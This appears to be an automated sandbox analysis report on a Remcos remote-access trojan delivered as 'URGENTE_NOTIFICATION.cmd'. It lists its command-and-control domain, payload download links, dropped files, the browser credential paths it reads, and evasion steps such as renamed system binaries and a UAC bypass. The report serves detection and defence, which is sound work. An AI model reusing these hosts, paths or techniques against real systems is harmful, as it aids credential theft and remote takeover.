Source: sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: avgemc.exe
Source: sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected Remcos RAT
Source: Yara match File source: 24.2.Mywiztwu.PIF.14550000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.Mywiztwu.PIF.14550000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000019.00000002.2031904948.0000000000704000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.1995878504.000000007E810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.2527196256.000000000076E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.1961939328.0000000014550000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sppsvc.pif PID: 3664, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Mywiztwu.PIF PID: 6548, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Mywiztwu.PIF PID: 3060, type: MEMORYSTR
Contains functionality to steal Chrome passwords or cookies
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data 24_2_1455BA12
Contains functionality to steal Firefox passwords or cookies
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\ 24_2_1455BB30
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: \key3.db 24_2_1455BB30

Remote Access Functionality
barindex
Detected Remcos RAT
Source: C:\Users\Public\Libraries\sppsvc.pif Mutex created: \Sessions\1\BaseNamedObjects\Rmc-RFUXJL Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Mutex created: \Sessions\1\BaseNamedObjects\Rmc-RFUXJL Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Mutex created: \Sessions\1\BaseNamedObjects\Rmc-RFUXJL
Yara detected Remcos RAT
Source: Yara match File source: 24.2.Mywiztwu.PIF.14550000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.Mywiztwu.PIF.14550000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000019.00000002.2031904948.0000000000704000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.1995878504.000000007E810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.2527196256.000000000076E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.1961939328.0000000014550000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sppsvc.pif PID: 3664, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Mywiztwu.PIF PID: 6548, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Mywiztwu.PIF PID: 3060, type: MEMORYSTR
Contains functionality to launch a control a shell (cmd.exe)
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: cmd.exe 24_2_1455569A
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658BE568 #357,LookupAccountSidW,GetLastError,#357,DsGetDcNameW,DsBindW,DsGetDomainControllerInfoW,DsGetDomainControllerInfoW,#357,DsUnBindW,NetApiBufferFree,LocalFree, 6_2_00007FF6658BE568
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658A227C DsGetDcNameW,#357,DsBindW,DsCrackNamesW,#357,#357,#357,#357,#357,LocalAlloc,#359,DsUnBindW,NetApiBufferFree,DsFreeNameResultW,LocalFree,LocalFree, 6_2_00007FF6658A227C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658C5648 #357,#357,DsGetSiteNameW,#359,LocalAlloc,LocalAlloc,GetTickCount,DsGetSiteNameW,GetTickCount,#207,LocalFree,#359,NetApiBufferFree,#357,#357,#207,LocalFree,#359,#359,#359,LocalFree,NetApiBufferFree,NetApiBufferFree,LocalFree,LocalFree,#357,DsUnBindW, 6_2_00007FF6658C5648
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658A54A0 wcschr,NetApiBufferFree,DsFreeNameResultW,#13,LocalFree,DsGetDcNameW,#359,#224,#224,DsBindW,#357,DsCrackNamesW,#357,#145,#359,#359,#14,#359,#73,#359,#208,#26,#127,LocalFree,#140,#359,#224,#167,#27,#357,#357,#41,NetApiBufferFree,DsUnBindW,DsFreeNameResultW,#13,LocalFree, 6_2_00007FF6658A54A0
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1430814 Sample: URGENTE_NOTIFICATION.cmd Startdate: 24/04/2024 Architecture: WINDOWS Score: 100 69 embargogo237.duckdns.org 2->69 71 web.fe.1drv.com 2->71 73 11 other IPs or domains 2->73 89 Found malware configuration 2->89 91 Malicious sample detected (through community Yara rule) 2->91 93 Antivirus detection for URL or domain 2->93 97 10 other signatures 2->97 9 cmd.exe 1 2->9         started        11 Mywiztwu.PIF 2->11         started        14 Mywiztwu.PIF 2->14         started        signatures3 95 Uses dynamic DNS services 69->95 process4 signatures5 16 sppsvc.pif 4 23 9->16         started        21 extrac32.exe 1 9->21         started        23 alpha.exe 1 9->23         started        25 5 other processes 9->25 99 Contains functionality to bypass UAC (CMSTPLUA) 11->99 101 Detected Remcos RAT 11->101 103 Machine Learning detection for dropped file 11->103 105 3 other signatures 11->105 process6 dnsIp7 63 embargogo237.duckdns.org 45.74.19.121, 10521, 49742 HVC-ASUS United States 16->63 65 dual-spov-0006.spov-msedge.net 13.107.139.11, 443, 49738, 49739 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 16->65 67 5 other IPs or domains 16->67 47 C:\Users\Public\Libraries\netutils.dll, PE32+ 16->47 dropped 49 C:\Users\Public\Libraries\easinvoker.exe, PE32+ 16->49 dropped 51 C:\Users\Public\Mywiztwu.url, MS 16->51 dropped 53 C:\Users\Public\Libraries\Mywiztwu, data 16->53 dropped 75 Detected Remcos RAT 16->75 77 Contains functionalty to change the wallpaper 16->77 79 Machine Learning detection for dropped file 16->79 87 3 other signatures 16->87 27 extrac32.exe 1 16->27         started        31 cmd.exe 3 16->31         started        55 C:\Users\Public\alpha.exe, PE32+ 21->55 dropped 81 Drops PE files to the user root directory 21->81 83 Drops or copies certutil.exe with a different name (likely to bypass HIPS) 21->83 85 Drops or copies cmd.exe with a different name (likely to bypass HIPS) 21->85 33 kn.exe 3 2 23->33         started        35 kn.exe 2 25->35         started        37 extrac32.exe 1 25->37         started        file8 signatures9 process10 file11 57 C:\Users\Public\Libraries\Mywiztwu.PIF, PE32 27->57 dropped 39 conhost.exe 31->39         started        41 cmd.exe 1 31->41         started        43 xcopy.exe 1 31->43         started        45 4 other processes 31->45 107 Registers a new ROOT certificate 33->107 109 Drops PE files with a suspicious file extension 33->109 59 C:\Users\Public\Libraries\sppsvc.pif, PE32 35->59 dropped 61 C:\Users\Public\kn.exe, PE32+ 37->61 dropped signatures12 process13
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
13.107.139.11
 dual-spov-0006.spov-msedge.net United States
8068 MICROSOFT-CORP-MSN-AS-BLOCKUS false
74.112.186.144
 elmauz.box.com United States
33011 BOXNETUS false
45.74.19.121
 embargogo237.duckdns.org United States
29802 HVC-ASUS true
178.237.33.50
 geoplugin.net Netherlands
8455 ATOM86-ASATOM86NL false
74.112.186.128
 public.boxcloud.com United States
33011 BOXNETUS false
142.250.101.102
 drive.google.com United States
15169 GOOGLEUS false
142.250.101.132
 drive.usercontent.google.com United States
15169 GOOGLEUS false

Contacted Domains

Name IP Active
dual-spov-0006.spov-msedge.net 13.107.139.11 true
embargogo237.duckdns.org 45.74.19.121 true
elmauz.box.com 74.112.186.144 true
public.boxcloud.com 74.112.186.128 true
geoplugin.net 178.237.33.50 true
drive.google.com 142.250.101.102 true
drive.usercontent.google.com 142.250.101.132 true
elmauz.app.box.com 74.112.186.144 true
sf0kkw.by.files.1drv.com unknown unknown
onedrive.live.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://onedrive.live.com/download?resid=BAF30C9243AC3050%21114&authkey=!ACfGQrCE2jZmaGY false
    		high
    https://elmauz.box.com/public/static/gqtnnv55lt0beo9fdcpu8fhnomsn4frv false
      		high
      https://elmauz.app.box.com/public/static/gqtnnv55lt0beo9fdcpu8fhnomsn4frv false
        		high
        http://geoplugin.net/json.gp true
        • URL Reputation: phishing
        • URL Reputation: phishing
        		 unknown
        https://elmauz.box.com/shared/static/gqtnnv55lt0beo9fdcpu8fhnomsn4frv false
          		high
          37.duckdns.org true
          • Avira URL Cloud: safe
          		 unknown